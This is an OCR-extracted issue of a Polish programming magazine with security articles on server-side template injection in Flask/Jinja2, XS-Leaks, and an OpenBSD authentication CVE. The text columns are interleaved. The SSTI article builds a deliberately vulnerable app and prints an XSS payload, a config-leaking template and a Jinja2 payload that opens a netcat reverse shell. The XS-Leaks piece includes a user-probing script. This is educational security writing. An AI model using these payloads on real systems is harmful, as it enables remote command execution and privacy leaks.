korzysta szablon Jinja2 do działania. W tym celu konieczne będzie

BUDOWANIE PODATNEJ APLIKACJI utworzenie endpointa, którego na potrzeby artykułu nazwiemy /test,
przyjmującego parametr name. Taki zabieg sprawi, że aplikacja będzie
WE FLASKU w stanie przywitać użytkownika, wykorzystując jego nazwę. Kod po-
Ta część artykułu wykracza nieco poza główny temat, ponieważ trzebny do obsłużenia takiej sytuacji przedstawiono w Listingu 1.4.
skupia się na wygenerowaniu szkieletu i napisaniu prostej aplikacji,
Listing 1.4. Kod źródłowy głównej aplikacji umieszczony w app.py
w której zademonstrowany zostanie wpływ niebezpiecznego użycia
szablonów. from flask import Flask
from flask import request
Nasza aplikacja stanowi trywialny przykład, ponieważ będzie from flask import render_template_string
obsługiwać jedynie dwa żądania GET, w tym jedno z parametrem. app = Flask(__name__)
Parametr ten będzie pobierany z URL-a, więc pochodzi z niezaufa- vuln_template = """
nego źródła (od użytkownika). W rzeczywistości mogłaby to być np. <!doctype html>
nazwa użytkownika pobrana z formularza, wartość przechowywana <html lang="en">
<head>
w ciasteczku mówiąca o loginie czy dowolne inne dane, którą złośli-
</head>
wy użytkownik może ustawić tak, by osiągnąć zamierzony cel. <body>
<p> Hello, {} </p>
Na początku utworzymy katalog flask_test, w którym przygotu- </body>
jemy potrzebną strukturę katalogów oraz dodamy wymagane pliki. </html>
W przypadku Flaska istnieje również możliwość wygenerowania """
pustego projektu z wykorzystaniem IDE (np. PyCharm od JetBra- @app.route("/")
ins [4]) lub projektu flask_init [4]. def hello():
return "<p>Hello, World!</p>"
Zacznijmy od przygotowania środowiska developerskiego. Osoby
@app.route("/test")
zaznajomione z tematyką tworzenia wirtualnych środowisk Pythona def ssti():
nie powinny mieć problemu ze skonfigurowaniem interpretera do name = request.args.get("name", None)
if name:
pracy z wykorzystaniem takich narzędzi, jak venv, poetry czy pipx. return render_template_string(vuln_template.format(name))
Czytelnikom, którzy nie mają doświadczenia z takimi rozwiązania- else:
return "<p>Name not set</p>"
mi, rekomenduję wykorzystanie maszyny wirtualnej lub kontenera
Dockerowego z obrazem Ubuntu. Działanie tego krótkiego przykładu jest bardzo proste: aby uruchomić
W celu instalacji potrzebnych zależności wymagany jest Python powyższy kod, wystarczy użyć polecenia z Listingu 1.5. Odwiedzając
w wersji 3 (wersja 2 osiągnęła status EOL i nie powinna być już uży- adres http://localhost:5000 (domyślna konfiguracja serwera developer-
wana) oraz menedżer paczek. Po skonfigurowaniu środowiska uru- skiego Werkzeug, z którego korzysta Flask), zobaczymy stronę witającą
chomieniowego kolejnym krokiem powinno być zainstalowanie po- użytkownika. W momencie gdy przejdziemy pod adres http://127.0.0.1/
zostałych zależności. test?name=WARTOŚĆ_PARAMETRU, ścieżka wykonania będzie inna
W moim testowym systemie, bazującym na dystrybucji Arch Li- i zamiast standardowo zwróconego czystego kodu HTML, wykorzystany
nux, niezbędne było wykonanie poleceń powłoki przedstawionych zostanie wcześniej przygotowany szablon. Dla uproszczenia szablon ten
w Listingu 1.2. Proces instalacji został opisany również w dokumen- jest umieszczony w kodzie programu, jednak tego rodzaju podatności
tacji [6]. występują również w przypadku wczytywania szablonów z pliku.
Po przedstawieniu testowej konfiguracji należy przejść do zagad-
Listing 1.2 Konfiguracja środowiska
nień dotyczących samej podatności.
mkdir flask_test
cd flask_test Listing 1.5 Polecenie uruchamiające serwer
python -m venv myvenv # tworzymy wirtualne środowisko
. myvenv/bin/activate # aktywujemy je flask run
pip install Flask # instalujemy bibliotekę Flask * Environment: production
WARNING: This is a development server. Do not use it in a
production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

{ WWW.PROGRAMISTAMAG.PL } <51>
BEZPIECZEŃSTWO

ROZPOZNANIE PODATNOŚCI EKSPLOITACJA


Błędy prowadzące do wykonania kodu po stronie serwera są ściśle W procesie weryfikacji technologii, która będzie determinowała za-
powiązane z celowym lub nieumyślnym umożliwieniem wykorzy- równo wpływ podatności na system (tj. dostępne metody oczyszcza-
stania danych dostarczonych przez użytkownika jako fragmentu sza- jące dane i dokonujące izolacji wykonywanego kodu), jak i sam spo-
blonu. Może to być podobne działanie do tego, które skutkuje złym sób tworzenia exploitów, możemy posłużyć się jeszcze inną metodyka
wykorzystaniem „prepared statements” we frameworkach do zapytań dostarczoną przez autorów badania (Rysunek 2). Jednak ze względu
SQL. W efekcie nie spełniają swojej podstawowej funkcji – a miano- na to, że niektóre biblioteki pozwalają na definicję własnych tagów,
wicie ochrony przed SQL Injection. W innej perspektywie może się metodyka ta może okazać się niepełna.
to wiązać na przykład z funkcjonalnością mającą na celu umożliwie-
nie użytkownikom personalizacji i samodzielnej edycji szablonów.
W związku z tym, że wykonanie kodu wiąże się z zastosowaniem
konkretnych mechanizmów języka (np. po to, aby obejść ogranicze-
nia nakładane przez piaskownicę), niezbędne jest określenie, jaka
konkretnie technologia jest wykorzystywana po stronie serwerowej.
Język znaczników wykorzystywany przez szablony pozwala w jasny
sposób sprawdzić, czy istnieje możliwość wykonania ataku SSTI.
Co ważne, budowa znaczników ułatwia również sprawdzenie,
z jakich backendowych technologii korzysta podatna aplikacja. Aby
tego dokonać, należy spróbować doprowadzić do ewaluacji wyra-
żeń (np. arytmetycznych). Jeśli w wyniku dostarczenia wyrażenia
arytmetycznego serwer zwraca wynik – może to oznaczać, że serwis
Rysunek 2. Drzewo decyzyjne pozwalające określić, z jakich bibliotek korzysta podatna
jest podatny na wstrzykiwanie kodu do szablonów. Nie jest to jedyny aplikacja (źródło: https://portswigger.net/research/server-side-template-injection)
wskaźnik, choć może się okazać, że podatność ta zachowa się jak LFI
(Local File Inclusion).
Wspomniana wcześniej metodyka stworzona przez Jamesa Kettla'a Wracając do testowej aplikacji, która została przedstawiona wyżej –
definiuje trzy etapy eksploitacji SSTI (Rysunek 1). sprawdźmy, posługując się przytoczoną metodyka, czy dana podat-
ność występuje oraz jak będzie się objawiać. W tym celu konieczne
będzie uruchomienie serwera testowego.
Wysyłając zapytanie takie jak to zaprezentowane na Rysunku 3,
aplikacja przywita użytkownika, zgodnie z zamysłem programisty, po
imieniu.

Rysunek 3. Wykonanie testowego zapytania GET z nazwą użytkownika

Rysunek 1. Etapy działań prowadzące do skutecznego ataku Wykonując kroki, które zostały przedstawione powyżej, sprawdźmy, jak
(źródło: https://portswigger.net/research/server-side-template-injection)
aplikacja zareaguje w momencie, gdy przesłane zostanie złośliwe zapyta-
nie. Na Rysunku 4 zaprezentowano wykonanie kodu JS. Na tym leniwy
Proces detekcji zależy od kontekstu (podobnie jak w przypadku XSS, atakujący może poprzestać. Brak konieczności zakończenia tagu może
którego eksploitacja również wymaga poznania kontekstu, jaki może wskazywać na to, że mamy do czynienia z „plaintext context”.
edytować użytkownik), w jakim występuje przetwarzanie danych
pochodzących od użytkownika. SSTI może dotyczyć tzw. „plaintext
context”, w którym użytkownik może dostarczyć pełen tag. Trudniej-
szym do wykrycia miejscem występowania podatności jest tzw. „code
context”, gdzie dane użytkownika zostaną wrzucone bezpośrednio do
tagu szablonu. W takim przypadku konieczne jest tzw. „wyskoczenie”
z tagu, czyli użycie znaku ucieczki. Następnie należy wstrzyknąć do-
Rysunek 4. Wstrzyknięcie JS (payload: name=<script>alert(document.domain)</script>
wolną wartość, np. tag HTML.

<52> { 4 / 2021 < 98 > }


/ Wstrzykiwanie szablonów jako nieoczywista pułapka na programistę /

Próbując przekształcić ten błąd w bardziej krytyczny, możemy potrzeby tego artykułu skupimy się na eksploitacji web aplikacji na-
spróbować wykonać zapytanie z parametrem name przyjmującym pisanej w Pythonie. Dobrze byłoby wykonać jakiś kod, najlepiej taki,
wartości {{7*'7'}} oraz {{7*7}} – Rysunek 5 i Rysunek 6. który pozwoli wywołać polecenie powłoki systemowej, dla ułatwie-
nia niech będzie to kod ustanawiający połączenie zwrotne (reverse
shell) do maszyny atakującego. Niestety wykorzystanie funkcji języ-
ka, np. print, bezpośrednio w tagach będzie niemożliwe.
Tutaj potrzebna będzie specyficzna wiedza na temat konkretne-
go języka. W tym przypadku przydać się mogą elementy domyślnie
dostępne lub te, które programiści dodają do danej aplikacji. Przy-
kładem może być obiekt config, który przechowuje wiele informacji
Rysunek 5. Wyrażenie z ciągiem napisowym dotyczących konkretnej instancji. Konfiguracja może zawierać np.
sekrety aplikacji (SECRET_KEY).

Rysunek 6. Wyrażenie arytmetyczne

Uzyskując takie, a nie inne wyniki, możemy dojść do wniosku, że Rysunek 7. Konfiguracja aplikacji (pełny URL: http://127.0.0.1:5000/test?name={{ config.items()}})

aplikacja korzysta z silnika Jinja2. W przypadku Twiga wynik byłby


zawsze taki sam i wynosił 49. Korzystając z MRO [8], możemy dokonać inspekcji obiektów oraz
Posiadając już wiedzę na temat samego wystąpienia podatności metod, które mogą się okazać przydatne w dalszej eksploitacji. Lista
oraz tego, jakich rozwiązań użyto do napisania danej aplikacji, do- payloadów zawarta w repozytorium PayloadAllTheThings [9] defi-
brze zmotywowany atakujący jest w stanie próbować wykorzystać niuje także konkretne bezkontekstowe (tj. niezależne od kontekstu
słabości aplikacji. szablonu) ładunki, które wykorzystując budowę obiektów Flaska,
Nasze dalsze kroki będą zależne od specyfikacji języka i zostały umożliwiają wykonanie polecenia powłoki systemu z wykorzysta-
przedstawione w szerszym kontekście w oryginalnym badaniu. Na niem funkcji subprocess Popen.

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <53>
BEZPIECZEŃSTWO

W zależności od wykorzystanej technologii wynikiem takiego


ataku może być np. dostęp do systemu plików. Czasami jednak bi-
blioteki starają się separować logikę aplikacji od szablonów, a wtedy
może nie być użytecznej metody ataku.
Zachęcam do samodzielnego zgłębiania obiektów w testowej apli-
kacji i próby wywołania Popen.
Rysunek 8. Inspekcja obiektów z wykorzystaniem MRO

JAK SIĘ ZABEZPIECZYĆ?


Tym samym wykonanie zapytania GET z parametrem przedstawio-
nym w Listingu 1.6 spowoduje wywołanie polecenia skutkującego Sposobów zapobiegania przedstawionemu w tym artykule problemo-
zwrotnym połączeniem do maszyny atakującego (payload ten pocho- wi jest kilka, ale nie zawsze okazują się one wystarczającym reme-
dzi z listy [9]). dium na zaistniałą sytuację. Pewnym rozwiązaniem jest filtrowanie
oparte na zasadach białej/czarnej listy.
Listing 1.6. Payload pozwalający na nawiązanie połączenia zwrotnego,
zakodowany w postaci url encode Jednak jak to zwykle z bezpieczeństwem bywa, wyżej przedsta-
wione metody mogą się okazać niewystarczające i łatwe do obejścia.
http://127.0.0.1:5000/test?name={{%20self._TemplateReference__
context.cycler.__init__.__globals__.os.popen(%27nc%20127.0.0.1%20 Innym sposobem jest wykorzystanie tzw. szablonów pozbawionych
8443%20-e%20/bin/bash%27).read()%20}} logiki, takich jak mustache [10], które opierają swoje działanie na
bardzo ograniczonej funkcjonalności, umożliwiających jedynie bez-
W otwartej (przy pomocy polecenia nc -nlvp 8443) sesji netcata pieczne operacje, takie jak podstawianie zmiennych, co powinno być
w trybie nasłuchu otrzymujemy komunikat taki jak w Listingu 1.7. wystarczające w większości przypadków.
Jeszcze innym działaniem może być ograniczenie możliwości
Listing 1.7. Efekt działania exploita
definiowania szablonów tylko do określonych, zaufanych użytkowni-
$ nc -nlvp8443 ków. Należy jednak pamiętać, że i to może nie wystarczyć, dlatego
Connection from 127.0.0.1:50974
ls -la warto rozważyć przygotowanie dedykowanego środowiska – pia-
total 24 skownicy odizolowanej od reszty aplikacji, w której wykonywane bę-
drwxr-xr-x 5 asdf users 4096 Aug 31 09:57 .
drwxr-xr-x 3 asdf users 4096 Aug 30 13:35 .. dzie renderowanie szablonów.
-rw-r--r-- 1 asdf users 496 Aug 31 12:08 app.py
drwxr-xr-x 5 asdf users 4096 Aug 31 09:50 myvenv
Pewnym rozwiązaniem może też być niekorzystanie z szablonów,
drwxr-xr-x 2 asdf users 4096 Aug 31 12:08 __pycache__ jednak nie zawsze jest to możliwe. Wszystkie wymienione powyżej re-
drwxr-xr-x 2 asdf users 4096 Aug 31 09:53 templates
id komendacje znalazły się w podsumowaniu wspomnianego już badania
uid=1000(asdf) gid=986(users) ... i wciąż są aktualne. Zdezaktualizowały się natomiast informacje dotyczą-
ce bezpieczeństwa niektórych bibliotek, ponieważ okazało się, że niektó-
W efekcie atakujący uzyskuje możliwość wykonywania poleceń na re metody, mające zapobiegać atakom, są niewystarczające. Warto więc
zdalnym systemie, co stanowi bardzo cenną zdobycz, ponieważ po- trzymać rękę na pulsie i nie dopuścić do sytuacji, w której każdy użyt-
zwala go kontrolować. kownik może umieścić w głównym systemie swój własny szablon.

W sieci
[1] https://code.google.com/archive/p/mustache-security/
[2] https://portswigger.net/research/server-side-template-injection
[3] https://twig.symfony.com/ (The flexible, fast, and secure template engine for PHP)
[4] https://twig.symfony.com/doc/3.x/templates.html
[5] https://www.jetbrains.com/pycharm/
[6] https://flask-init.readthedocs.io/en/latest/
[7] https://flask.palletsprojects.com/en/2.0.x/installation/
[8] https://docs.python.org/3/library/stdtypes.html?highlight=mro#class.__mro__
[9] https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md
[10] https://mustache.github.io/

FOXTROT_CHARLIE
@foxtrot_0x4fult | segment_0xf4ult[at]protonmail.com
Pentester w firmie ISEC. Pracownik dydaktyczny Politechniki Poznańskiej na wydziale Informatyki i Telekomunikacji. W wolnym czasie żongluje bitami,
lata dronami i uczestniczy w potyczkach CTF.

<54> { 4 / 2021 < 98 > }


BEZPIECZEŃSTWO

XS-Leaks: sztuka subtelnych wycieków danych


Od wielu lat wiadomo, że najpoważniejszą podatnością pojawiającą się w świecie frontendu
aplikacji webowych jest Cross-Site Scripting (XSS). Istnieją też inne, dobrze znane podatno-
ści, takie jak Cross-Site Request Forgery czy ataki związane z eksfiltracją danych przez CSS.
Ostatnio coraz głośniej robi się jednak o nowym graczu w tym światku: mowa tu o Cross-Site
Leaks (skracane zwykle do XS-Leaks). W tym artykule opowiemy o tym, czym XS-Leaks jest
i skąd może się wziąć w aplikacji.

TROCHĘ TŁA Wprawdzie przeczytanie treści obrazka z poziomu kodu JS nie będzie
możliwe, jednak samo osadzenie jest dopuszczalne.
Fundamentalną zasadą bezpieczeństwa obowiązującą w przeglądar- Okazuje się, że rozmaitych interakcji podobnego typu jest w świe-
kach jest Same-Origin Policy. W największym uproszczeniu zasada cie przeglądarek znacznie więcej i sprytne ich wykorzystanie otwiera
ta definiuje pochodzenie (ang. origin) strony jako złożenie: drzwi przed bohaterem tego artykułu, czyli XS-Leaks.
» protokołu,
» nazwy domeny,
CZYM JEST XS-LEAKS?
» numeru portu.
W największym uproszczeniu można powiedzieć, że XS-Leaks po-
Ponadto według tej zasady strona może odczytywać dane z drugiej zwala na wykorzystanie tzw. bocznych kanałów w celu wydobycia
strony, tylko jeśli mają one ten sam origin. pewnych informacji o użytkowniku lub danych, do których ma do-
Przykład: jesteśmy na stronie pod adresem https://www.google. stęp. Zazwyczaj dzięki tym informacjom udaje się odpowiedzieć na
com/test1. Origin tej strony to https://www.google.com (port 443 pytania typu „TAK/NIE”. Przykładowe pytania, na które będziemy
jest domyślny dla HTTPS i zwykle nie jest on jawnie wypisywany; chcieli odpowiedzieć, to:
a nawet gdyby był, to jest traktowany nadal jako ten sam origin). Za- » Czy użytkownik jest zalogowany w aplikacji?
łóżmy, że ta strona próbuje wykonać funkcję fetch() w kodzie Ja- » Czy użytkownik należy do danej grupy na Facebooku?
vaScript pod dwie inne strony: https://www.google.com/test2 oraz » Czy obecny użytkownik to JohnDoe123?
https://www.facebook.com/test. Zauważmy, że ten pierwszy adres to » Czy użytkownik odwiedził daną stronę?
ten sam origin, co wyjściowa strona, zatem przeglądarka zezwoli na » Czy użytkownik ma dostęp do danego ticketu w bugtrackerze?
wykonanie zapytania oraz przeczytanie odpowiedzi. Z kolei https:// » Czy użytkownik ma znajomych, których nazwisko zaczyna się
www.facebook.com to już inny origin, zatem przeglądarka uniemoż- literą „A”?
liwi odczyt odpowiedzi z tej strony (Rysunek 1). » Czy użytkownik miał koronawirusa?
Zauważmy, że gdyby SOP nie istniał i przeglądarka pozwalała na
tego typu dostęp, to dowolna strona w Internecie mogłaby wykonać Spójrzmy na przykład XS-Leaks sprzed 2010 roku, a zatem z czasów,
zapytanie np. do domeny naszego banku i odczytać dowolne dane! gdy nikt jeszcze nie używał tej nazwy podatności.
W rzeczywistości jednak zasada Same-Origin Policy nie jest aż Na Rysunku 2 widzimy stronę, na której znajdują się linki do
tak restrykcyjna, jak może się wydawać na pierwszy rzut oka. Nie- czterech serwisów webowych. W domyślnych stylach CSS przegląda-
które cross-originowe interakcje są dopuszczalne. Na przykład: jeśli rek linki nieodwiedzone wcześniej przez użytkownika są niebieskie,
spróbujemy na swojej stronie umieścić obrazek pochodzący z innej natomiast te odwiedzone mają kolor fioletowy. Z poziomu kodu Java-
domeny w tagu <img>, przeglądarka nie zaprotestuje w żaden sposób. Script możliwe zatem było odczytanie koloru linka (np. wykorzystu-

Rysunek 1. Porównanie próby pobrania zasobu z tej samej domeny oraz z innej domeny. W drugim przypadku przeglądarka wyświetla błąd

<56> { 4 / 2021 < 98 > }


/ XS-Leaks: sztuka subtelnych wycieków danych /

jąc funkcję getComputedStyle()1) i ustalenie, które strony zostały która jest prawdziwym kompendium wiedzy dotyczącym istnieją-
odwiedzone przez użytkownika. cych bocznych kanałów w przeglądarkach, pokazującym również, jak
Staranne dobranie sprawdzanych stron internetowych mogło można się chronić przed tego typu atakami.
skutkować naruszeniem prywatności użytkownika, a nawet ustale- Zacznę od przykładu z rodzimego podwórka. W 2020 roku Secu-
niem jego tożsamości. W odpowiedzi na to ryzyko wszystkie prze- ritum (firma, w której pracuję) przeprowadzała testy aplikacji Prote-
glądarki wprowadziły zmiany uniemożliwiające odczytanie statusu GO Safe – aplikacji, dzięki której mogliśmy się dowiedzieć, czy mie-
linka2. liśmy kontakt z osobą zarażoną koronawirusem. Raport z tych testów
Zwróćmy uwagę, że sposób przeprowadzenia ataku nie pozwolił jest publiczny4, zaś na jego 60. stronie znajduje się opis podatności
nam na pełne wyciągnięcie historii przeglądarki użytkownika. Tak pt. „Możliwość wycieku statusu ryzyka infekcji użytkownika do ze-
naprawdę atak polegał na zadaniu przeglądarce czterech pytań: wnętrznych domen”.
» Czy użytkownik odwiedził Reddit? W aplikacji możliwe było wypełnienie ankiety, na podstawie któ-
» Czy użytkownik odwiedził Facebook? rej otrzymywaliśmy informację, jak duże jest ryzyko infekcji korona-
» Czy użytkownik odwiedził Sekuraka? wirusem. W zależności od ustalonego ryzyka w aplikacji wyświetlała
» Czy użytkownik odwiedził Google? się też buźka w różnych kolorach, np. dla niskiego ryzyka miała ona
kolor zielony, a dla średniego – pomarańczowy (Rysunek 3).
Nie mamy żadnych informacji dotyczących odwiedzenia tych stron, Wszystkie buźki były tylko obrazkami ładowanymi z zewnętrz-
o które bezpośrednio nie zapytaliśmy. Zatem, zgodnie z wcześniej nych adresów URL. Jeżeli użytkownik wypełni ankietę, to w jego
wyłożoną teorią dotyczącą XS-Leaks, mamy odpowiedzi tylko na te przeglądarce wyświetli się dokładnie jedna z nich, która następnie
cztery pytania typu „TAK/NIE”. zostanie umieszczona w pamięci podręcznej przeglądarki.

Rysunek 2. Klasyczny przykład XS-Leaks

PRZYKŁADY XS-LEAKS
Okazuje się, że różnego rodzaju bocznych kanałów w przeglądarkach jest
o wiele więcej. Na początku 2021 r. powstała strona https://xsleaks.dev3,
Rysunek 3. Ryzyko infekcji z aplikacji ProteGO Safe wraz z „buźką”

1. Funkcja getComputedStyle(): https://developer.mozilla.org/en-US/docs/Web/API/Window/get-


ComputedStyle
2. Prywatność a selektor :visited: https://developer.mozilla.org/en-US/docs/Web/CSS/Privacy_and_
the_:visited_selector 4. Raport z testów bezpieczeństwa ProteGO Safe: https://www.gov.pl/web/protegosafe/audyt-bezpie-
3. XS-Leaks Wiki: https://xsleaks.dev czenstwa--zobacz-raport

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <57>
BEZPIECZEŃSTWO

Rysunek 4. Czasy ładowania poszczególnych obrazków z buźkami

Obrazki jednak możemy ładować z zewnętrznych stron. Na Rysunku 4 czy jest zwracana poprawna odpowiedź. Takim sposobem jest wy-
widzimy, jak będzie wyglądała taka próba, jeśli chodzi o czas łado- korzystanie tagu <script>, który, podobnie jak <img>, pozwala na
wania poszczególnych obrazków. Zwróćmy uwagę, że ta buźka, która ładowanie zasobów z zewnętrznych domen. Atak wyglądał w nastę-
została załadowana z pamięci podręcznej (disk cache), ma znacząco pujący sposób:
mniejszy czas ładowania od wszystkich pozostałych (1 ms vs średnio
// Tworzymy element <script>
43 ms). Różnica będzie jeszcze bardziej wyraźna, jeśli połączenie in- const s = document.createElement('script');
ternetowe użytkownika będzie powolne. // Chcemy dowiedzieć się, czy identyfikator obecnie
Mamy zatem doskonałe pole manewru na wykorzystanie ataku typu // zalogowanego użytkownika to 12345678
XS-Leaks: spróbujemy załadować wszystkie cztery obrazki i zmierzymy s.src = "https://developer.twitter.com/" +
"api/users/12345678/client-applications.json";
ich czasy odpowiedzi. Jeśli dokładnie jeden z nich będzie wyraźnie
mniejszy od pozostałych, to na tej podstawie wyciągniemy wnio- // Jeśli skrypt załaduje się poprawnie, oznacza to,
// że identyfikator pasuje…
sek, że obrazek musiał zostać załadowany z cache, a zatem określa s.onload = () => alert('Użytkownik trafiony!')
status ryzyka infekcji użytkownika. Szczegółowy kod źródłowy tego // … w przeciwnym wypadku wyciągamy wniosek,
ataku można znaleźć we wspomnianym raporcie z testów. Jako spo- // że identyfikator nie odzwierciedla obecnie zalogowanego
// użytkownika.
sób naprawy tego konkretnego błędu zalecono nieładowanie plików s.onerror = () => alert('Użytkownik nietrafiony!')
SVG z zewnętrznych plików SVG, tylko użycie tych obrazków jako document.head.append(s);
zagnieżdżone SVG. Finalnie problem został załatany przez całkowite
wyłączenie części webowej tej aplikacji.
Inny przykład XS-Leaks pozwalał na ustalenie loginu obecnie za-
PODSUMOWANIE
logowanego użytkownika Twittera. Został on zgłoszony przez naszego
rodaka, udzielającego się pod pseudonimem terjanq5, który zauważył, XS-Leaks to podatność bezpieczeństwa, która pozwala wydobywać
że jedna z aplikacji Twittera ładuje zasób znajdujący się pod adresem wrażliwe informacje o użytkowniku przeglądarki, niedostępne nor-
https://developer.twitter.com/api/users/USER_ID/client-applications.json, malnie dla napastnika, wykorzystując komunikację boczno-kanałową
gdzie w miejscu USER_ID znajdował się identyfikator użytkownika. (np. wyciągając wnioski na podstawie czasu ładowania strony czy ko-
Jeśli USER_ID nie zgadzał się z identyfikatorem obecnie zalogowanego dów błędów).
użytkownika, zwracana była odpowiedź z kodem 403 o następującej Nie istnieje jeden uniwersalny sposób ochrony przed tego typu
treści: ryzykami – w zależności od tego, z jakim konkretnie bocznym ka-
nałem mamy do czynienia, można zastosować jeden z mechani-
{"error":{"message":"You are not logged in as a user that has access
to this developer.twitter.com resource.","sent":"2019-03-06T01:20:56 zmów bezpieczeństwa przeglądarek (np. jeśli atak wymaga elementu
+00:00","transactionId":"00d08f800009d7be"}}. <iframe>, można użyć nagłówka X-Frame-Options). Czasem jed-
nak ochrona może wymagać przepisania części aplikacji.
W przeciwnym wypadku była zwracana odpowiedź z kodem 200. Wiele informacji na temat metod ochrony można znaleźć rów-
Okazuje się, że z poziomu zewnętrznych domen istnieje możli- nież w serwisie wiki xsleaks.dev6.
wość stwierdzenia, czy dany zasób zwraca kod błędu (jak np. 403),

5. Ustalenie loginu użytkownika Twittera przez XS-Leaks: https://hackerone.com/reports/505424 6. XS-Leaks – metody ochrony: https://xsleaks.dev/docs/defenses/

MICHAŁ BENTKOWSKI
Realizuje testy bezpieczeństwa oraz szkolenia dla firmy Securitum. Autor w serwisie sekurak.pl oraz research.securitum.com.
Miłośnik bezpieczeństwa przeglądarek i podatności klienckich. Uczestnik programów bug bounty. Na Twitterze: @SecurityMB.

<58> { 4 / 2021 < 98 > }


Z ARCHIWUM CVE

Błąd uwierzytelnienia w OpenBSD


OpenBSD stawia sobie za cel bycie najbezpieczniejszym systemem operacyjnym na rynku. Im-
plementuje on wiele ciekawych metod mitygacyjnych, m.in. jako pierwszy domyślnie wspierał
ASLR (Address space layout randomization) i PIE (Position-independent executables). Jemu
również zawdzięczamy projekty takie jak sudo czy OpenSSH. Gdy w 2019 roku została opu-
blikowana luka bezpieczeństwa CVE-2019-19521, wiele osób przecierało oczy z niedowierza-
niem, że taki błąd uwierzytelnienia może pojawić się w systemie operacyjnym kładącym tak
duży nacisk na bezpieczeństwo.

BSD AUTHENTICATION w master.passwd(5). W przypadku uwierzytelnienia wielokrokowego


wykorzystywane są serwisy challenge i response.
OpenBSD w przeciwieństwie do innych popularnych systemów ope- Po nazwie użytkownika opcjonalnym argumentem jest klasa logo-
racyjnych takich jak Linux, macOS czy FreeBSD nie używa do uwie- wania (ang. login class). Jest to zbiór różnych ustawień dla użytkow-
rzytelnienia nowoczesnej biblioteki OpenPAM1. Zamiast tego po- ników danej klasy, takich jak maksymalna ilość procesów w systemie
został przy technologii BSD authentication (w skrócie BSD auth). czy zmienne środowiskowe PATH i UMASK (które odpowiednio ozna-
BSD auth w celu uwierzytelniania tworzy nowy proces i uruchamia czają ścieżki szukania programów oraz domyślne uprawnienia dla
w nim skrypt lub program odpowiedzialny za uwierzytelnienie da- nowo tworzonych plików). Domyślnie każdy użytkownik otrzymuje
nego typu. Tak więc w OpenBSD znajdziemy programy takie jak klasę default. Aplikacje korzystające z programów uwierzytelniających
/usr/libexec/auth/login_passwd, który jest odpowiedzialny za mogą zdecydować, z jakiej klasy chcą skorzystać. Jest to użyteczne
uwierzytelnienie użytkownika za pomocą hasła, czy /usr/libexec/ na przykład do ograniczenia ilości prób logowań daną metodą.
auth/login_yubikey służący do uwierzytelnienia za pomocą Yubi- Oprócz loginu do uwierzytelniania potrzebny jest nam także
Key. W Listingu 1 możemy zobaczyć wszystkie argumenty dla pro- sekret (w przypadku login_passwd jest to po prostu hasło użytkow-
gramu login_passwd. nika). Aby go uzyskać, program czyta standardowe wejście. Progra-
miści OpenBSD zdecydowali się zwracać wynik uwierzytelniania na
Listing 1. Linia poleceń programu login_passwd
trzeci otwarty deskryptor (patrz ramka „Zwracanie statusu na trze-
login_passwd [-s service] [-v wheel=yes|no] ci deskryptor”). W przypadku gdy deskryptor nie istnieje, program
[-v lastchance=yes|on] user [class]
kończy działanie.
Oczywiście aplikacje nie uruchamiają samodzielnie programów uwie- Aby zaprezentować działanie programu login_passwd, możemy
rzytelniających. OpenBSD udostępnia API o nazwie auth_subr(8) i to uruchomić go ręcznie, a następnie sprawdzić, jak zachowuje się przy
jego konsumentami są inne aplikacje. Dopiero przez to API urucha- różnych opcjach. Przykłady użycia tego programu możemy zobaczyć
miane są wyżej wymienione programy uwierzytelniające. w Listingu 2.
Na przykład, w celu uwierzytelnienia za pomocą hasła w systemie
Listing 2. Przykłady użycia programu login_passwd
OpenBSD serwer SSH za pomocą API auth_subr(8) uruchomi pro-
gram login_passwd, aby zweryfikować poświadczenia użytkownika. # Gdy uruchomimy login_passwd, program automatycznie
# zakończy działanie, ponieważ deskryptor numer 3
Część opcji do programów uwierzytelniających jest przekazywa- # nie istnieje domyślnie w shellu. Jako że nie
na jako argumenty. W przypadku login_passwd jest to na przykład # ma sposobu na zwrócenie statusu, nie ma sensu
# przeprowadzać uwierzytelnienia.
login uwierzytelnionego użytkownika czy opcja -v wheel=on, która openbsd# /usr/libexec/auth/login_passwd oshogbo
openbsd#
wymusza, by użytkownik był w grupie uprzywilejowanej wheel.
Programy uwierzytelniające muszą implementować serwisy, które # W shellu możemy utworzyć deskryptor numer
# trzy, korzystając z pierwszego deskryptora (standardowego
przekazywane są opcją -s. Serwis informuje program o tym, jakich # wejścia). Przy podaniu prawidłowego hasła
# (które nie jest wyświetlane gdy je wprowadzamy)
danych może się spodziewać od konsumenta. Aktualnie wspierane
# program zwróci nam tekst 'authorize'
i wymagane do implementacji są: # że uwierzytelnienie się powiodło.
openbsd# /usr/libexec/auth/login_passwd oshogbo 3>&1
» login (domyślna), Password:
» challenge, authorize
openbsd# echo $?
» response. 0

# W przypadku błędnego uwierzytelnienia program


Każdy z programów uwierzytelniających może w dowolny sposób # raportuje to, używając status 'reject'.
openbsd# /usr/libexec/auth/login_passwd oshogbo 3>&1
implementować te serwisy. Serwis login najczęściej oznacza sta- Password:
tyczne hasło, które jest weryfikowane w jakiejś bazie – na przykład reject

# W niektórych programach takich jak login_passwd,


1. Zainteresowanych biblioteką OpenPAM odsyłam do lektury artykułu pt. „PAM: tworzenie wła-
# login_skey czy login_yubikey znajdziemy
snych modułów uwierzytelniania” (Programista 6/2019).

<60> { 4 / 2021 < 98 > }


Z ARCHIWUM CVE

The service argument specifies which protocol to


# nieudokumentowaną opcję 'd', która automatycznie use with the invoking program. The allowed
# przekieruje wynik uwierzytelnienia na standardowe protocols are login, challenge, and response.
# wyjście. (The challenge protocol is silently ignored but will
openbsd# /usr/libexec/auth/login_passwd -d oshogbo report success as passwd-style authentication
Password: is not challenge-response based).
Authorize

Fragment podatnego programu uwierzytelniającego zaprezentowano


Czytanie sekretów ze standardowego wejścia w Listingu 4. Pomiędzy linami 5–15 odbywa się parsowanie opcji ser-
Czytelnik może zadać pytanie: dlaczego login i sekret są rozdzielone i jedno może vice, gdzie wartość zmiennej mode równa 1 oznacza metodę challenge.
być przekazane jako argument do programu, a drugie jest czytane ze standardowego Warto podkreślić, iż istnieje możliwość podania kilkakrotnie tej samej
wejścia?
Tak naprawdę jest to kolejny mechanizm bezpieczeństwa. Wiele systemów opera- opcji, a użyta zostanie tylko ta, która została podana jako ostatnia. Na-
